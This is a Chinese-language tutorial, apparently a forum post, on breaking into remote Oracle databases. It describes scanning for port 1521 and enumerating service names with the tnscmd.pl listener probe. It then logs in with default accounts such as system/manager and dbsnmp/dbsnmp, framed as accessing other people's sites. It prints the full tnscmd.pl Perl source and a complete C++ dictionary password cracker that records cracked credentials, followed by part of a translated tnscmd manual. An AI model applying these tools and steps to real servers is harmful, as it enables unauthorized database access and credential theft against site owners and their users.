oracle注入
Oracle数据库是现在很流行的数据库系统,很多大型网站都采用Oracle,它之所以倍受用户喜爱是因为它有以下突出的特点:

1
、支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库,其大小可到几百千兆,可充分利用硬件设备。支持大量用户同时在同一数据上执行各种数据应用,并使数据争用最小,保证数据一致性。系统维护具有高的性能,Oracle每天可连续24小时工作,正常的系统操作(后备或个别计算机系统故障)不会中断数据库的使用。可控制数据库数据的可用性,可在数据库级或在子数据库级上控制。

2
Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。所以它是一个开放系统,保护了用户的投资。美国标准化和技术研究所(NIST)Oracle7 SERVER进行检验,100%地与ANSI/ISO SQL89标准的二级相兼容。

3
、实施安全性控制和完整性控制。Oracle为限制各监控数据存取提供系统可靠的安全性。Oracle实施数据完整性,为可接受的数据指定标准。

4
、支持分布式数据库和分布处理。Oracle为了充分利用计算机系统和网络,允许将处理分为数据库服务器和客户应用程序,所有共享的数据管理由数据库管理系统的计算机处理,而运行数据库应用的工作站集中于解释和显示数据。通过网络连接的计算机环境,Oracle将存放在多台计算机上的数据组合成一个逻辑数据库,可被全部网络用户存取。分布式系统像集中式数据库一样具有透明性和数据一致性。

具有可移植性、可兼容性和可连接性。由于Oracle软件可在许多不同的操作系统上运行,以致Oracle上所开发的应用可移植到任何操作系统,只需很少修改或不需修改。Oracle软件同工业标准相兼容,包括很多工业标准的操作系统,所开发应用系统可在任何操作系统上运行。可连接性是指ORALCE允许不同类型的计算机和操作系统通过网络可共享信息。

虽然Oracle数据库具有很高的安全性,但是如果我们在配置的时候不注意安全意识,那么也是很危险的。也就是说,安全最主要的还是要靠人自己,而不能过分依赖软件来实现。

我们知道,在mssql中,安装完成后默认有个sa的登陆密码为空,如果不更改就会产生安全漏洞。那么oracle?也有的。为了安装和调试的方便,Oracle数据库中的两个具有DBA权限的用户SysSystem的缺省密码是manager。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站, 我们就可以利用这个缺省密码去找我们感兴趣的东西。如何实现,看下面的文章吧。

进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。那如何去知道呢,猜?呵呵,显然是不行的。这里我们先讲讲oracleTNS listener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。但是如果你用一个tcpsession去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程oracle数据库是否开启(也就是ping),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。

理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。现在开始测试吧,需要的工具有:ActivePerlOracle客户端,Superscan或者是其它扫描端口的软件, Tnscmd.pl

我们先用Superscan扫描开放了端口1521的主机,假设其IPxx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:

 C:perlbin>perl tnscmd.pl

usage: tnscmd.pl [command] -h hostname

where 'command' is something like ping, version, status, etc.

(default is ping)

[-p port] - alternate TCP port to use (default is 1521)

[--logfile logfile] - write raw packets to specified logfile

[--indent] - indent & outdent on parens

[--rawcmd command] - build your own CONNECT_DATA string

[--cmdsize bytes] - fake TNS command size (reveals packet leakage)


我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。

然后我们就这样来:

 C:perlbin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 indent

sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521

writing 91 bytes

reading

._.......6.........?. ..........

DESCRIPTION=

TMP=

VSNNUM=135286784

ERR=0

SERVICES_EXIST=1

.Q........

SERVICE=

SERVICE_NAME=ORCL

INSTANCE=

INSTANCE_NAME=ORCL

NUM=1

INSTANCE_CLASS=ORACLE

HANDLER=

HANDLER_DISPLAY=DEDICATED SERVER

STA=ready

HANDLER_INFO=LOCAL SERVER

HANDLER_MAXLOAD=0

HANDLER_LOAD=0

ESTABLISHED=447278

REFUSED=0

HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227

HANDLER_NAME=DEDICATED

ADDRESS=

PROTOCOL=beq

PROGRAM=/home/oracle/bin/oracle

ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'

ARGV0=oracleORCL

ARGS='

LOCAL=NO

'

.........@


从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsysctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下:

 C:oracleora90BIN>sqlplus /nolog

SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002

(c) Copyright 2001 Oracle Corporation.
 All rights reserved.

SQL>connect system/manager@

(description=(address_list=(address=(protocol=tcp)

(host=xx.xx.110.110)(port=1521)))

(connect_data=(SERVICE_NAME=ORCL)));

如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。


二、上面提到的两个小软件:
tnscmd.pl
#!/usr/bin/perl
#
# tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86 & OpenBSD Sparc + perl5
#
# Initial cruft: <a href="mailto:jwa@jammed.com" >[email]jwa@jammed.com[/email]</a>  5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see also: 
#    <a href="http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html" target="_blank">[url]http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html</a>[/url]
#    <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818" target="_blank">[url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818</a>[/url] 
#    <a href="http://otn.oracle.com/deploy/security/alerts.htm" target="_blank">[url]http://otn.oracle.com/deploy/security/alerts.htm</a>[/url]
#    <a href="http://xforce.iss.net/alerts/advise66.php" target="_blank">[url]http://xforce.iss.net/alerts/advise66.php</a>[/url] 
#
# GPL'd, of course.  <a href="http://www.gnu.org/copyleft/gpl.html" target="_blank">[url]http://www.gnu.org/copyleft/gpl.html</a>[/url]
#
# $Log: tnscmd,v $
# Revision 1.3  2001/04/26 06:45:48  jwa
# typo in url.  whoops.
#
# Revision 1.2  2001/04/26 06:42:17  jwa
# complete rewrite
#  - use IO::Socket instead of tcp_open
#  - got rid of pdump()
#  - put packet into @list and build it with pack()
#  - added --indent option
#
#
 
use IO::Socket;
use strict;        # a grumpy perl interpreter is your friend
 
select(STDOUT);$|=1;
 
#
# process arguments
#
 
my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg);
 
while ($arg = shift @ARGV) {
    $main::hostname = shift @ARGV if ($arg eq "-h");
    $main::port = shift @ARGV if ($arg eq "-p");
    $main::logfile = shift @ARGV if ($arg eq "--logfile");
    $main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize");
    $main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize");
    $main::indent = 1 if ($arg eq "--indent");
    $main::rawcmd = shift @ARGV if ($arg eq "--rawcmd");
    $main::rawout = shift @ARGV if ($arg eq "--rawout");
}
 
if ($main::hostname eq "") {
    print <<_EOF_;
usage: $0 [command] -h hostname
      where 'command' is something like ping, version, status, etc.  
      (default is ping)
      [-p port] - alternate TCP port to use (default is 1521)
      [--logfile logfile] - write raw packets to specified logfile
      [--indent] - indent & outdent on parens
      [--rawcmd command] - build your own CONNECT_DATA string
      [--cmdsize bytes] - fake TNS command size (reveals packet leakage)
_EOF_
    exit(0);
}
 
# with no commands, default to pinging port 1521
 
$cmd = "ping" if ($cmd eq "");
$main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical
 
 
#
# main
#
 
my ($command);
 
if (defined($main::rawcmd))
{
    $command = $main::rawcmd;
}
else
{    
    $command = "(CONNECT_DATA=(COMMAND=$cmd))";    
}
 
 
my $response = tnscmd($command);
viewtns($response);
exit(0);
 
 
#
# build the packet, open the socket, send the packet, return the response
#
 
sub tnscmd
{
    my ($command) = shift @_;
    my ($packetlen, $cmdlen);
    my ($clenH, $clenL, $plenH, $plenL);
    my ($i);
 
    print "sending $command to $main::hostname:$main::port\n";
 
    if ($main::fakecmdsize ne "") 
    {
        $cmdlen = $main::fakecmdsize;
        print "Faking command length to $cmdlen bytes\n";
    } 
    else 
    {    
        $cmdlen = length ($command);
    }
 
    $clenH = $cmdlen >> 8;
    $clenL = $cmdlen & 0xff;
 
    # calculate packet length
 
    if (defined($main::fakepacketsize)) 
    {
        print "Faking packet length to $main::fakepacketsize bytes\n";
        $packetlen = $main::fakepacketsize;
    } 
    else 
    {    
        $packetlen = length($command) + 58;    # "preamble" is 58 bytes
    }
 
    $plenH = $packetlen >> 8;
    $plenL = $packetlen & 0xff;
 
    $packetlen = length($command) + 58 if (defined($main::fakepacketsize));
 
    # decimal offset
    # 0:  packetlen_high packetlen_low 
    # 26:  cmdlen_high cmdlen_low
    # 58:  command
 
    # the packet.
 
    my (@packet) = (
        $plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
        0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00,
        0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01,
        $clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00
        );
 
 
    for ($i=0;$i<length($command);$i++)    
    {
        push(@packet, ord(substr($command, $i, 1)));
    }    
 
    my ($sendbuf) = pack("C*", @packet);
 
    print "connect ";
    my ($tns_sock) = IO::Socket::INET->new( 
        PeerAddr => $main::hostname, 
        PeerPort => $main::port, 
        Proto => 'tcp', 
        Type => SOCK_STREAM, 
        Timeout => 30) || die "connect to $main::hostname failure: $!";
    $tns_sock->autoflush(1);
 
    print "\rwriting " . length($sendbuf) . " bytes\n";
 
    if (defined($main::logfile)) 
    {
        open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!";
        print SEND $sendbuf || die "write to logfile failed: $!";
        close(SEND);
    }    
 
    my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf));
 
    if ($count != length($sendbuf))
    {
        print "only wrote $count bytes?!";
        exit 1;
    }    
 
    print "reading\n";
 
    # get fun data
    # 1st 12 bytes have some meaning which so far eludes me
 
    if (defined($main::logfile)) 
    {
        open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!";
    }    
 
    my ($buf, $recvbuf);
 
    # read until socket EOF
    while (sysread($tns_sock, $buf, 128))
    {
        print REC $buf if (defined($main::logfile));
        $recvbuf .= $buf;
    }
    close (REC) if (defined($main::logfile));
    close ($tns_sock);
    return $recvbuf;
}
 
 
sub viewtns
{
    my ($response) = shift @_;
 
    # should have a hexdump option . . .
 
    if ($main::raw)
    {
        print $response;
    } 
    else
    {
        $response =~ tr/\200-\377/\000-\177/;    # strip high bits
        $response =~ tr/\000-\027/\./;
        $response =~ tr/\177/\./;
 
        if ($main::indent)
        {
            parenify($response);
        } 
        else
        {
            print $response;
        }
        print "\n";
    }    
}    
 
 
sub parenify
{
    my ($buf) = shift @_;
    my ($i, $c);
    my ($indent, $o_indent);
 
    for ($i=0;$i<length($buf);$i++) 
    {
        $c = substr($buf, $i, 1);
        $indent++ if ($c eq "(");
        $indent-- if ($c eq ")");
        if ($indent != $o_indent)
        {
            print "\n" unless(substr($buf, $i+1, 1) eq "(");
            print "  " x $indent;
            $o_indent = $indent;
            undef $c;
        }    
        print $c;
    }
}    
 
/*用链表实现的oracle密码暴破程序,需要在本地安装oralce*/
#define WIN32_LEAN_AND_MEAN
#if defined(_WIN32) || defined(_WIN64)
#include <windows.h>
#include <Tchar.h>
#endif
#include <winsock2.h>    
#include <stdio.h>
#include <stdlib.h>
#include <lmcons.h>
#include <winnetwk.h>
#include <time.h>
#include <stdlib.h>
#include <stdlib.h>
#include <iostream> 
#include <occi.h> 
 
 
#pragma comment(lib, "oraocci9.lib") //链接到oraocci9.lib
//#pragma comment(lib, "msvcrt.lib")
#pragma comment(lib, "msvcprt.lib")
//链接到WS2_32.LIB:
#pragma comment(lib, "Ws2_32.lib")
//#pragma comment(lib, "liboracle.lib")
 
char target[40]= {0};//目标服务器
char port[40]={0};//SQL端口号
char db[40]={0};//数据库名
 
//定义链表:
typedef struct PassNode{
    TCHAR password[100];
    struct PassNode * Next;
} PassInfo;
 
typedef struct NameNode{
    TCHAR Name[100];
    struct NameNode * Next;
}NameInfo; //定义NameInfo来表示NameNode结构
 
//
//函数SQLCheck
//功能:尝试用不同密码连接SQL Server,探测出正确的密码
//
DWORD WINAPI SQLCheck(PVOID pPwd,PVOID uUserName)
{
  //定义局部变量
  char szBuffer[1025]= {0};
  char *pwd=NULL,*UserName=NULL;
  char DataBase[255]={0};
  //char *user=NULL;
  //取得传递过来准备探测的密码
  pwd=(char *)pPwd;
  UserName=(char *)uUserName;
  //DataBase=(char *)db;
  sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);
  //printf("DataBase=%s\n",DataBase);
  using namespace std; 
using namespace oracle::occi; 
 
Environment * env=Environment::createEnvironment(Environment::DEFAULT); 
 
try{ 
Connection *conn=env->createConnection(UserName,pwd,(char *)DataBase); 
if (conn) 
{        printf("\n");
      cout << "SUCCESS - createConnection" << endl;
      
      //连接远程oracle Server数据库成功
        return 1;
}
    else 
      cout << "FAILURE - createConnection" << endl; 
      return 0;
 
/*Statement*stmt=conn->createStatement("select * from emp"); 
ResultSet * rset=stmt->executeQuery(); 
while (rset->next()) { 
  cout<<"the empno is:"<<rset->getInt(1)<<endl; 
  cout<<"the ename is:"<<rset->getString(2)<<endl; 
 
} */
//stmt->closeResultSet (rset); 
// conn->terminateStatement (stmt); 
env->terminateConnection (conn); 
 
}catch(SQLException ex) 
 
{ 
  //printf("\n");
  cout<<ex.getMessage(); 
  return 0;
 
} 
Environment::terminateEnvironment(env);
return 0;
  
 
}
 
 
 
 
void usage(){
 
    printf("name:oracle password crack v 1.0\n");
    printf("author:pt007@vip.sina.com\n\n");
    fprintf(stdout,"usage : oracle_pwd_crack [ip] [options]\n");
    printf("options:\n"
                  "\t-x port      specify the port of oracle\n"
                  "\t-u username  specify the username of oracle\n"
                // "\t-p password  specify the password of oracle\n"
                  "\t-d dict      specify the dictionary\n"
                  "\t-i database  specify the database's name\n"
                  //"\t-a automode  automatic crack the oracle password \n"
                  //"\tNote: when u use the -a option, named the username dict user.dic\n"
                // "\t  password dict pass.dic\n"
          );
    printf("\nexample: oracle_pwd_crack 127.0.0.1 -x 1521 -u sql_user.dic -d pass.dic -i PLSExtProc\n");
    
    exit(1);
 
}
 
//创建密码链表:
PassInfo * Create_Pass_link(int NodeNum, FILE * DictFile){ 
 
      /* read data from password dictionary, init the link */
      TCHAR * szTempPass = NULL;
      PassInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
                                *s point to the current node*/
      int i; /* counter*/
 
  //分配内存空间在内存的动态存储区中分配一块长度为"sizeof(PassInfo)"字节的连续区域,函数的返回值为该区域的首地址:
      if ( (h = (PassInfo *) malloc(sizeof(PassInfo))) == NULL ) 
      {
          fprintf(stderr, "malloc failed %d", GetLastError());
          exit(0);
      } /* create the head node */
 
      /* init the head node*/
      h->Next = NULL;
      p = h;
 
      for ( i=0; i < NodeNum; i ++) //下面是建立链表,每个密码对应一个结点:
      {  //sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass
          szTempPass = (TCHAR *)calloc(100, sizeof(TCHAR));
          ZeroMemory(szTempPass, 100);
 
          if ( (s = (PassInfo *)malloc(sizeof(PassInfo))) == NULL)
          {
              fprintf(stderr, "malloc failed %d", GetLastError());
              exit(0);
          }
            
            memset(s->password, '\0', 100);
            fgets(szTempPass, 100, DictFile);
            strncpy(s->password, szTempPass, strlen(szTempPass)-1);
            s->Next =NULL; //删除一个结点
            p->Next = s;//链表指针指向下一个结构地址
            p = s;//下一个结构的数据域赋值
 
          free(szTempPass);//释放内存空间
 
      }
    
      return h;//返回链表的头结点,它存放有第一个结点的首地址,没有数据
 
}
 
 
//创建用户名链表:
NameInfo * Create_Name_link(int NodeNum, FILE * DictFile){ 
 
      /* read data from password dictionary, init the link */
      TCHAR * szTempName = NULL;
      NameInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
                                *s point to the current node*/
      int i; /* counter*/
 
    //分配内存空间在内存的动态存储区中分配一块长度为"sizeof(NameInfo)"字节的连续区域,函数的返回值为该区域(此处为NameInfo结构的首地址)的首地址:                                        :
      if ( (h = (NameInfo *) malloc(sizeof(NameInfo))) == NULL )
      {
          fprintf(stdout, "malloc failed %d", GetLastError());
          exit(0);
      } /* create the head node */
 
      /* init the head node*/
      h->Next = NULL; //删除下一个结点
      p = h; //p里面目前指向头结点
 
      for ( i=0; i < NodeNum; i ++)
      {//sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass:
          szTempName = (TCHAR *)calloc(100, sizeof(TCHAR));
          ZeroMemory(szTempName, 100);//字符串类型变量清0
 
          if ( (s = (NameInfo *)malloc(sizeof(NameInfo))) == NULL)
          {
              fprintf(stdout, "malloc failed %d", GetLastError());
              exit(0);
          }
            
            memset(s->Name, '\0', 100);
            fgets(szTempName, 100, DictFile);
            strncpy(s->Name, szTempName, strlen(szTempName)-1);
            s->Next =NULL;
            p->Next = s;//p指向下一个结点的地址
            p = s;//下一个结构的数据域赋值
 
          free(szTempName);
 
      }
    
      return h;
 
} 
 
 
int LineCount(FILE * fd) //返回字典中的密码数量
{
    int countline = 0;
    char data[100] = {0};//字符数组清0
 
    while (fgets(data, 100, fd))//从指定的文件中读一个字符串到字符数组中
        countline++;
 
    rewind(fd);//指针返回到文件起始处
 
    return countline;
    
}
 
BOOL IsPortOpen(char * address, int port)
{
    int recv = 1;
    WSADATA wsadata;
    int fd;
    struct sockaddr_in clientaddress;
    struct hostent * host1;
    BOOL Result = FALSE;
    struct timeval timer4;
    fd_set writefd; //检查数据是否可写
    ULONG value = 1;
    //初使化winsock版本1.1:
    recv = WSAStartup(MAKEWORD(1,1), &wsadata);
 
    if(recv != 0) 
    {
        printf("init failed %d.\n",WSAGetLastError());
        return(0);
    }
 
    if ( LOBYTE( wsadata.wVersion ) != 1 || 
        HIBYTE( wsadata.wVersion ) != 1 ) { 
    /* Tell the user that we couldn't find a useable */ 
    /* winsock.dll. */ 
        WSACleanup(); 
        return(0); 
    }
  //创建socket套接字连接:
    fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(fd < 0)
    {
      
          printf("[-] Create socket error %d. \n",WSAGetLastError());
          return(0);
    }
    //将套接字fd设为非阻塞模式的方法:
    ioctlsocket(fd,FIONBIO,&value);
 
    if (!(host1 = gethostbyname(address))){
        printf("[-] Gethostbyname(%s) error %d.\n",address,WSAGetLastError());
        return(0);
    }
 
    memset(&clientaddress, 0, sizeof(struct sockaddr));
    clientaddress.sin_family =AF_INET;//Ipv4地址族
    clientaddress.sin_port = htons((unsigned short)port);
    clientaddress.sin_addr = *((struct in_addr *)host1->h_addr);
 
    timer4.tv_sec = 5;//以秒为单位指定等待时间
    timer4.tv_usec = 0;
 
    FD_ZERO(&writefd);
    FD_SET(fd,&writefd); //将套接字fd增添到writefd写集合中进行测试
 
    recv = connect(fd, (struct sockaddr *)&clientaddress, sizeof(struct sockaddr));
 
    if( FD_ISSET(fd, &writefd))
    {
      recv = select(fd+1, NULL, &writefd, NULL, &timer4);//测试5秒钟内是否有数据写入
 
      if( recv > 0 ) 
          Result = TRUE;
    }
 
    closesocket(fd);
    WSACleanup();
 
    return Result;
 
}
 
 
int main(int argc, char **argv)
{
 
  PassInfo * head, * curr = NULL;
  NameInfo * headnode, * currnode = NULL;
  int namecount = 0, passcount = 0; 
 
/////////////////////////////////////////////////////////////////////////////////////////////
// deal with the command line
//
/////////////////////////////////////////////////////////////////////////////////////////////
  //参数不为8个的时候打印帮助
      if(argc != 10)
          usage();
 
  if (argc == 10)
  {
      if ( strcmpi(argv[2], "-x") )
          usage();
 
      if ( strcmpi(argv[4], "-u") )
                      usage();
 
      if ( strcmpi(argv[6], "-d") )
              usage();  
    if ( strcmpi(argv[8], "-i") )
          usage();
    
  }
 
 
 
/* determinate whether the oracle port is open */
  if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
  {
      printf("error:Can't connect to %s:%d\n", argv[1], atoi(argv[3]));
      exit(0);
  }
  
 
////////////////////////////////////////////////////////////////////////////////////////////
// specifiy the username
//////////////////////////////////////////////////////////////////////////////////////////////
 
  //取得目标地址和端口号:
  strcpy(target,argv[1]);
  strcpy(port,argv[3]);
  strcpy(db,argv[9]);
 
  if ( !strcmpi(argv[4], "-u"))
  {
      /* open the password dictionary */
 
      FILE * passdic = NULL;
      if ( (passdic = fopen(argv[7], "r")) ==NULL){
          fprintf(stdout, "Can't open the password dictionary\n");
          exit(0);
      }
        
      
      
      /* count line of name dictionary */
 
      passcount = LineCount(passdic); //计算密码的数量
      head = Create_Pass_link(passcount, passdic);  /* create the password link */
      curr = head ->Next; //指向第一个结点
 
      /* open the password dictionary */
 
      FILE * Namedict = NULL;
      if ( (Namedict = fopen(argv[5], "r")) ==NULL){
          fprintf(stderr, "Can't open the name dictionary\n");
          exit(0);
      }
 
      /*密码最终保存文件*/
    FILE *passtxt=NULL;
    if ( (passtxt = fopen("pass.txt", "at+")) ==NULL){
          fprintf(stdout, "Can't write pass.txt file!\n");
          exit(0);
      }
 
      /* count line of name dictionary */
 
          namecount = LineCount(Namedict);//计算用户名数量
      headnode = Create_Name_link(namecount, Namedict);  /* create user link */
      currnode = headnode->Next;
 
      int j=0,i=1;
    while(currnode!=NULL) //NULL表示姓名链表结束
    {
        printf("\n开始第%d位用户%s测试:\n",++j,currnode->Name);
      while(curr != NULL) //NULL表示密码链表结束
      {
          printf("Now cracking %s->%s    \n", currnode->Name, curr->password);
          fflush(NULL);
          int Cracked=0;
          Cracked=SQLCheck(curr->password,currnode->Name);
          if ( Cracked==1 )
          {  
              printf("%d.Successfully:oracle server %s's username [%s] password [%s]\n",j,target,currnode->Name, curr->password);
              fseek(passtxt, 0L, SEEK_END);//移动到文件尾部
              fprintf(passtxt,"%d.Successfully:oracle server %s's username [%s] password [%s]\r\n",i++,target,currnode->Name, curr->password);
              //exit(0);发现一个密码就退出
              break;
          }
          curr = curr->Next;//移动到下一个结点
          Sleep(100);//暂停100ms,0.1s
 
      } /* starting crack the oracle password*/
        currnode = currnode->Next;
    curr = head ->Next; //移到密码链表的第一个结点
    }
      printf("\n\n密码猜解结束:\n本次共猜解了%d位用户,%d个密码!\n",namecount,passcount);
      printf("请使用\"type pass.txt\"来查看当前目录下的pass.txt文件!\n");
      fprintf(passtxt,"\r\n\r\n");
      fclose(passdic);
      fclose(Namedict);
      fclose(passtxt);
      free(head);
 
 
  }
 
 
 
  return 0;
 
}
 
这对DBA有帮助
国外2年前的文章和perl脚本工具,不过感觉很有用,可以来看看listener安不安全。有什么地方请大家执教。而且我对oracle安全管理这方面有很大兴趣,不知道有没有人关注这方面。
******************************************************************
     Tnscmd 文档
25 April 2001
[email]jwa@jammed.com[/email]
$Id: tnscmd-doc.html,v 1.4 2001/05/09 05:29:09 jwa Exp $
window
平台需装activeperl
一 简介:
tnscmd
是一个和oracle TNS监听器(lnsrctl)有关简单工具, lsnrctl是客户端和服务器端的一个接口,一般来说是设在1521/tcp端口,我曾经看过有人设在1541。可以用nmap(一般linux在自带)扫描会单独列出ncube-lm rds2
tnslnsr
记录一些活动日志,可是并不都是一些有用的,它不记录ipTNS对话。
如果你初始化一个对话到tnslsnr端口,也许不会有什么进展,它不提供一个banner,有可能断开。不过tnscmd会帮你做这些。
Tnscmd
Tnscmd
甚至不是一个全开发的oracle客户端。它只不是是一个简单的tnslsnr进程,tnslsnr可以对一些命令做出反映,as ping (an application-level no-op), version (dumps version information about Oracle), status (dumps status about the listener and database instances), and services (dumps info about the running services.)这些命令表面上不是很敏感的。
比如主机oraclebox.example.com1521端口监听,先从ping这个命令开始把。
      我们可以用tnscmdping它,是否真正运行tnslsnr
window
下运行cmd 然后perl tnscmd.pl
  -h oraclebox.example.com  -p 1521
unix
tnscmd -h oraclebox.example.com(这里也可以输入ip  -p 1521
  sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521
   writing 87 bytes
  reading
  .I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER))
我们可以看见三件事情:
1
        tns command: (CONNECT_DATA=(COMMAND=ping))
2
        tnslsnr的原始TNS应答包:.W.......6. [ etc ]
3
        还有一些:.I......"..=(DESCRIPTION=( [etc]
ping
是很有用的,VSNNUM是对版本的编码,把它变成相应的十六进制,就是你的到的8106000
三 信息收集:
   接下来的三个命令对信息收集很用,versionstatus,和services
现在以unix为例子:
unix% tnscmd version -h oraclebox.example.com -p 1521
sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521
writing 90 bytes
reading
.M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)).
a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solaris:
.Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor.fo
r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapter
.for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for.S
olaris:.Version.8.1.6.0.0.-.Production,,.........@
   很直接,version 将会显示oracle的版本号(在这个例子中是8.1.6.0.0 for Solaris),而status更详细。
unix% tnscmd status -h oraclebox.example.com -p 1521
sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521
writing 89 bytes
reading
.........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=135290880
)(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8.
1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/
app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro
  可以用—indent来分成段落这样看起来更清楚:
unix% tnscmd status -h oraclebox.example.com -p 1521 --indent
我们将会得到:
  DESCRIPTION=
    TMP=  
    VSNNUM=135290880  
    ERR=0  
    ALIAS=LISTENER  
    SECURITY=OFF  
    VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production  
    START_DATE=01-SEP-2000.18:35:49  
    SIDNUM=1  
    LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log  
    PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora  
    TRACING=off  
    UPTIME=2032269835  
    SNMP=OFF
注意 SECURITY=OFF.这个可以表明DBA有没有给listener设置密码。还有
START_DATE
UPTIME 这个可以给文件系统的布局,还有其他的oracle材料。
ENDPOINT=
    HANDLER=
      STA=ready   
      HANDLER_MAXLOAD=0   
      HANDLER_LOAD=0   
      ESTABLISHED=0   
      REFUSED=0   
      HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0   
      PRE=ttc   
      SESSION=NS   
      DESCRIPTION=
        ADDRESS=
          PROTOCOL=ipc        
          KEY=EXTPROC

  ENDPOINT=
    HANDLER=
      STA=ready   
      HANDLER_MAXLOAD=0   
      HANDLER_LOAD=0   
      ESTABLISHED=0   
      REFUSED=0   
      HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0   
      PRE=ttc   
      SESSION=NS   
      DESCRIPTION=
        ADDRESS=
          PROTOCOL=tcp        
          HOST=oraclebox.example.com        
          PORT=1521

  ENDPOINT=
    HANDLER=
      STA=ready   
      HANDLER_MAXLOAD=0   
      HANDLER_LOAD=0   
      ESTABLISHED=0   
      REFUSED=0   
      HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0   
      PRE=giop   
      SESSION=RAW   
      DESCRIPTION=
        ADDRESS=
          PROTOCOL=tcp        
          HOST=oraclebox.example.com        
          PORT=2481
.. unanswered question: what's running on port 2481?

        PROTOCOL_STACK=
          PRESENTATION=GIOP        
          SESSION=RAW
        
  SERVICE=
    SERVICE_NAME=PLSExtProc  
    INSTANCE=
      INSTANCE_NAME=PLSExtProc   
      NUM=1   
      INSTANCE_CLASS=ORACLE   
      NUMREL=1

  SERVICE=
    SERVICE_NAME=pr01stage  
    INSTANCE=
      INSTANCE_NAME=pr01stage   
      NUM=1   
      INSTANCE_CLASS=ORACLE   
      NUMREL=1

  SERVICE=
    SERVICE_NAME=rcats  
    INSTANCE=
      INSTANCE_NAME=rcats   
      NUM=1   
      INSTANCE_CLASS=ORACLE   
      NUMREL=1
[ ... ]
The 'services' command
将会输出更多信息:
unix% tnscmd services -h oraclebox.example.com -p 1521 --indent

[ ... ]

  SERVICE=
    SERVICE_NAME=PLSExtProc  
    INSTANCE=
      INSTANCE_NAME=PLSExtProc   
